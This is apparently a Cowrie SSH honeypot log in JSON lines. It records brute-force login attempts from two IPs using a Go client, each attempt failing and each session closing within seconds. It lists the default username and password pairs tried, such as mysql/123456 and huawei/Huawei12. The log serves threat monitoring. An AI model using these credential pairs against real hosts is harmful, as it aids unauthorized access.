{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:17.649366Z","src_ip":"176.65.139.95","session":"d5b4b17eef24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42578,"dst_ip":"159.203.135.109","dst_port":22,"session":"c20ee71d8e32","protocol":"ssh","message":"New connection: 192.109.200.78:42578 (159.203.135.109:22) [session: c20ee71d8e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:17.941170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:17.946508Z","src_ip":"192.109.200.78","session":"c20ee71d8e32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:18.028589Z","src_ip":"192.109.200.78","session":"c20ee71d8e32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:18.062827Z","src_ip":"176.65.139.95","session":"d5b4b17eef24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:18.274456Z","src_ip":"192.109.200.78","session":"c20ee71d8e32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:19.282457Z","src_ip":"176.65.139.95","session":"d5b4b17eef24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:19.377330Z","src_ip":"192.109.200.78","session":"c20ee71d8e32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34954,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dc9a30de497","protocol":"ssh","message":"New connection: 192.109.200.78:34954 (159.203.135.109:22) [session: 5dc9a30de497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:22.113815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:22.118485Z","src_ip":"192.109.200.78","session":"5dc9a30de497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:22.201043Z","src_ip":"192.109.200.78","session":"5dc9a30de497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:22.448379Z","src_ip":"192.109.200.78","session":"5dc9a30de497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50262,"dst_ip":"159.203.135.109","dst_port":22,"session":"689843bda87b","protocol":"ssh","message":"New connection: 176.65.139.95:50262 (159.203.135.109:22) [session: 689843bda87b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:23.314460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:23.319458Z","src_ip":"176.65.139.95","session":"689843bda87b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:23.419485Z","src_ip":"176.65.139.95","session":"689843bda87b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:23.532652Z","src_ip":"192.109.200.78","session":"5dc9a30de497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:23.682482Z","src_ip":"176.65.139.95","session":"689843bda87b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:25.095735Z","src_ip":"176.65.139.95","session":"689843bda87b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34956,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2be3c010a62","protocol":"ssh","message":"New connection: 192.109.200.78:34956 (159.203.135.109:22) [session: f2be3c010a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:26.017743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:26.023131Z","src_ip":"192.109.200.78","session":"f2be3c010a62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:26.108899Z","src_ip":"192.109.200.78","session":"f2be3c010a62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:26.524060Z","src_ip":"192.109.200.78","session":"f2be3c010a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:27.612444Z","src_ip":"192.109.200.78","session":"f2be3c010a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":57814,"dst_ip":"159.203.135.109","dst_port":22,"session":"614ad1fbc369","protocol":"ssh","message":"New connection: 176.65.139.95:57814 (159.203.135.109:22) [session: 614ad1fbc369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:29.358578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:29.363607Z","src_ip":"176.65.139.95","session":"614ad1fbc369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:29.452894Z","src_ip":"176.65.139.95","session":"614ad1fbc369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:29.946947Z","src_ip":"176.65.139.95","session":"614ad1fbc369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54546,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e1eb6a59321","protocol":"ssh","message":"New connection: 192.109.200.78:54546 (159.203.135.109:22) [session: 6e1eb6a59321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:30.060682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:30.069485Z","src_ip":"192.109.200.78","session":"6e1eb6a59321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:30.153000Z","src_ip":"192.109.200.78","session":"6e1eb6a59321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:30.418814Z","src_ip":"192.109.200.78","session":"6e1eb6a59321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:31.038375Z","src_ip":"176.65.139.95","session":"614ad1fbc369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:31.504611Z","src_ip":"192.109.200.78","session":"6e1eb6a59321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54558,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f9ab102fcda","protocol":"ssh","message":"New connection: 192.109.200.78:54558 (159.203.135.109:22) [session: 9f9ab102fcda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:34.105491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:34.110605Z","src_ip":"192.109.200.78","session":"9f9ab102fcda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:34.194405Z","src_ip":"192.109.200.78","session":"9f9ab102fcda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:34.445304Z","src_ip":"192.109.200.78","session":"9f9ab102fcda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":57832,"dst_ip":"159.203.135.109","dst_port":22,"session":"baa791d001a4","protocol":"ssh","message":"New connection: 176.65.139.95:57832 (159.203.135.109:22) [session: baa791d001a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:35.340416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:35.360390Z","src_ip":"176.65.139.95","session":"baa791d001a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:35.440731Z","src_ip":"176.65.139.95","session":"baa791d001a4","protocol":"ssh"}
